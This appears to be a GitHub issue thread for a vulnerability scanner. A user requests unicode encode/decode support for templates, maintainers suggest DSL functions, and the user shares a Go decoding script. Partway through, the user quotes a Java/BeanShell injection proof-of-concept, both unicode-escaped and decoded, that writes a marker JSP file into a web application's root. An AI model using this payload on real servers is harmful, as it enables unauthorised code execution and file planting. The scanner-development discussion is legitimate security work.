Recommendations on requirements for {{unicode(encode,decode)}}

[vkusrorof]

I wrote the exploration script, but some urls appear unicode encoding characters. For example, baidu.com shows "\u767e\u5ea6\u4e00\u4e0b\uff0c\u4f60\u5c31\u77e5\u9053".

I usually use unicode after extracting "Chinese" validate (conversion website: http://www.jsons.cn/unicode)

yaml:
id: alive-check-20250328

info:
name: alive-check
author: alive-check
severity: info
description: status test

http:

• raw:

  • |
    GET / HTTP/1.1
    Host: {{Hostname}}

  matchers-condition: and
  matchers:

  • type: status
    status:
    • 200
      extractors:
  • type: regex
    name: title
    group: 1
    regex:
    • "<title>(.*?)</title>"
  • type: regex
    group: 1
    regex:
    • 'top.location.replace("([^"]+)")'

[vkusrorof]

Sometimes I have validation requirements that need to be decoded through unicode, modify the validation date and then unicode encoding to replace yaml poc after completion：
source_poc:
\u0069\u006d\u0070\u006f\u0072\u0074\u0020\u006a\u0061\u0076\u0061\u002e\u006c\u0061\u006e\u0067\u002e\u002a\u003b\u0069\u006d\u0070\u006f\u0072\u0074\u0020\u006a\u0061\u0076\u0061\u002e\u0069\u006f\u002e\u002a\u003b\u0043\u006c\u0061\u0073\u0073\u0020\u0063\u006c\u0073\u003d\u0054\u0068\u0072\u0065\u0061\u0064\u002e\u0063\u0075\u0072\u0072\u0065\u006e\u0074\u0054\u0068\u0072\u0065\u0061\u0064\u0028\u0029\u002e\u0067\u0065\u0074\u0043\u006f\u006e\u0074\u0065\u0078\u0074\u0043\u006c\u0061\u0073\u0073\u004c\u006f\u0061\u0064\u0065\u0072\u0028\u0029\u002e\u006c\u006f\u0061\u0064\u0043\u006c\u0061\u0073\u0073\u0028\u0022\u0062\u0073\u0068\u002e\u0049\u006e\u0074\u0065\u0072\u0070\u0072\u0065\u0074\u0065\u0072\u0022\u0029\u003b\u0053\u0074\u0072\u0069\u006e\u0067\u0020\u0070\u0061\u0074\u0068\u003d\u0063\u006c\u0073\u002e\u0067\u0065\u0074\u0050\u0072\u006f\u0074\u0065\u0063\u0074\u0069\u006f\u006e\u0044\u006f\u006d\u0061\u0069\u006e\u0028\u0029\u002e\u0067\u0065\u0074\u0043\u006f\u0064\u0065\u0053\u006f\u0075\u0072\u0063\u0065\u0028\u0029\u002e\u0067\u0065\u0074\u004c\u006f\u0063\u0061\u0074\u0069\u006f\u006e\u0028\u0029\u002e\u0067\u0065\u0074\u0050\u0061\u0074\u0068\u0028\u0029\u003b\u0046\u0069\u006c\u0065\u0020\u0066\u003d\u006e\u0065\u0077\u0020\u0046\u0069\u006c\u0065\u0028\u0070\u0061\u0074\u0068\u002e\u0073\u0070\u006c\u0069\u0074\u0028\u0022\u0057\u0045\u0042\u002d\u0049\u004e\u0046\u0022\u0029\u005b\u0030\u005d\u002b\u0022\u002f\u0076\u0075\u006c\u006e\u0032\u0030\u0032\u0035\u0030\u0034\u0031\u0036\u002e\u006a\u0073\u0070\u0022\u0029\u003b\u0066\u002e\u0063\u0072\u0065\u0061\u0074\u0065\u004e\u0065\u0077\u0046\u0069\u006c\u0065\u0028\u0029\u003b\u0046\u0069\u006c\u0065\u004f\u0075\u0074\u0070\u0075\u0074\u0053\u0074\u0072\u0065\u0061\u006d\u0020\u0066\u006f\u0075\u0074\u003d\u006e\u0065\u0077\u0020\u0046\u0069\u006c\u0065\u004f\u0075\u0074\u0070\u0075\u0074\u0053\u0074\u0072\u0065\u0061\u006d\u0028\u0066\u0029\u003b\u0066\u006f\u0075\u0074\u002e\u0077\u0072\u0069\u0074\u0065\u0028\u006e\u0065\u0077\u0020\u0073\u0075\u006e\u002e\u006d\u0069\u0073\u0063\u002e\u0042\u0041\u0053\u0045\u0036\u0034\u0044\u0065\u0063\u006f\u0064\u0065\u0072\u0028\u0029\u002e\u0064\u0065\u0063\u006f\u0064\u0065\u0042\u0075\u0066\u0066\u0065\u0072\u0028\u0022\u0050\u0043\u0055\u0067\u0062\u0033\u0056\u0030\u004c\u006e\u0042\u0079\u0061\u0057\u0035\u0030\u0062\u0047\u0034\u006f\u0049\u006e\u005a\u0031\u0062\u0047\u0034\u0069\u004b\u0054\u0073\u006c\u0050\u0067\u003d\u003d\u003d\u0022\u0029\u0029\u003b\u0066\u006f\u0075\u0074\u002e\u0063\u006c\u006f\u0073\u0065\u0028\u0029\u003b

unicode_decode:
import java.lang.;import java.io.;Class cls=Thread.currentThread().getContextClassLoader().loadClass("bsh.Interpreter");String path=cls.getProtectionDomain().getCodeSource().getLocation().getPath();File f=new File(path.split("WEB-INF")[0]+"/vuln20250416.jsp");f.createNewFile();FileOutputStream fout=new FileOutputStream(f);fout.write(new sun.misc.BASE64Decoder().decodeBuffer("PCUgb3V0LnByaW50bG4oInZ1bG4iKTslPg==="));fout.close();

[vkusrorof]

I have consulted development friends, unicode is a common problem of go language, if you can not adopt also understand, thank you very much

[GeorginaReeder]

Hi @vkusrorof - thanks for your question.

I've been digging around a little bit, and the only thing I've been able to find so far in terms of unicode is here:

nuclei/pkg/protocols/common/helpers/responsehighlighter/hexdump.go

Line 8 in 41bd74b

"unicode"

Tagging @ehsandeep in case this is something we might be looking to implement in the future.

[GeorginaReeder]

Actually @vkusrorof , another thought for you:

What you're looking for might be a DSL function? https://github.com/projectdiscovery/dsl/

Both url_decode and url_encode support unicode, so it's worth a try - something similar to this: https://docs.projectdiscovery.io/templates/reference/extractors#reusable-dynamic-extractors

Let us know if that helps!

[vkusrorof]

Thank you for your reply. However, whether it's url_decode or url_encode, I also failed to achieve it through testing

I also find the unicode complete dictionary (https://www.unicode.org/versions/Unicode16.0.0/#Components) via the Internet, whether internal output decoding content after the match?

For example, "\u767e" can be found as 767E in the dictionary, and "\u5ea6" can also be found as 5ea6

[vkusrorof]

After consulting, I found that the go language supports unicode decoding. This code tests reading the local "unicodelist.txt" file and performing decoding.

unicodelist.txt sample:

\u767e\u5ea6\u4e00\u4e0b\u006f\u006b\uff0c\u4f60\u5c31\u77e5\u9053\uff0c\ua\u662f\u0020\u0061\u0061
\u767e\u5ea6\u4e00\u4e0b\u006f\u006b
\u767e\u5ea6\u4e00\u4e0b\u006f\u006b
\u006f\u006b

main.go run result:

go test code:

package main

import (
	"bufio"
	"bytes"
	"fmt"
	"os"
	"regexp"
	"strconv"
	"strings"
)

// Fix the broken escape of \u (such as \ua → line break + \u)
func fixBrokenUnicode(data string) string {
	var result strings.Builder
	i := 0
	for i < len(data) {
		if strings.HasPrefix(data[i:], `\u`) {
			// Attempt to take four hexadecimal characters
			end := i + 6
			if end <= len(data) {
				hex := data[i+2 : end]
				if matched, _ := regexp.MatchString(`^[0-9a-fA-F]{4}$`, hex); matched {
					result.WriteString(data[i:end])
					i = end
					continue
				}
			}
			// Illegal \u escape, skipping the current \u and up to 4 characters following it
			j := i + 2
			for j < len(data) && j-i < 6 {
				if !((data[j] >= '0' && data[j] <= '9') ||
					(data[j] >= 'a' && data[j] <= 'f') ||
					(data[j] >= 'A' && data[j] <= 'F')) {
					break
				}
				j++
			}
			result.WriteString("\n")
			i = j // Skip the part of illegal escape
		} else {
			result.WriteByte(data[i])
			i++
		}
	}
	return result.String()
}

// Decode \uXXXX or \UXXXXXXXX
func EscapeUnicode(data []byte) []byte {
	re := regexp.MustCompile(`(\\u[0-9a-fA-F]{4}|\\U[0-9a-fA-F]{8})+`)
	for _, match := range re.FindAll(data, -1) {
		str, err := strconv.Unquote(`"` + string(match) + `"`)
		if err == nil {
			data = bytes.ReplaceAll(data, match, []byte(str))
		}
	}
	return data
}

func main() {
	file, err := os.Open("unicodelist.txt")
	if err != nil {
		fmt.Println("Failed to open the file:", err)
		return
	}
	defer file.Close()

	scanner := bufio.NewScanner(file)
	lineNum := 1
	for scanner.Scan() {
		line := scanner.Text()

		// Fix illegal Unicode escape (line breaks)
		fixedLine := fixBrokenUnicode(line)

		// Decode as UTF-8
		decoded := EscapeUnicode([]byte(fixedLine))

		fmt.Printf("line %d : %s\n", lineNum, string(decoded))
		lineNum++
	}

	if err := scanner.Err(); err != nil {
		fmt.Println("Error in reading the file:", err)
	}
}

[vkusrorof]

These codes may not be considered sufficiently rigorous. Please refer to them for further evaluation.

[vkusrorof]

@GeorginaReeder Thank you for taking the precious time to review this feedback in your busy schedule.

[dogancanbakir]

Thanks for the detailed work! Could you please open a feature request in https://github.com/projectdiscovery/dsl? Thanks!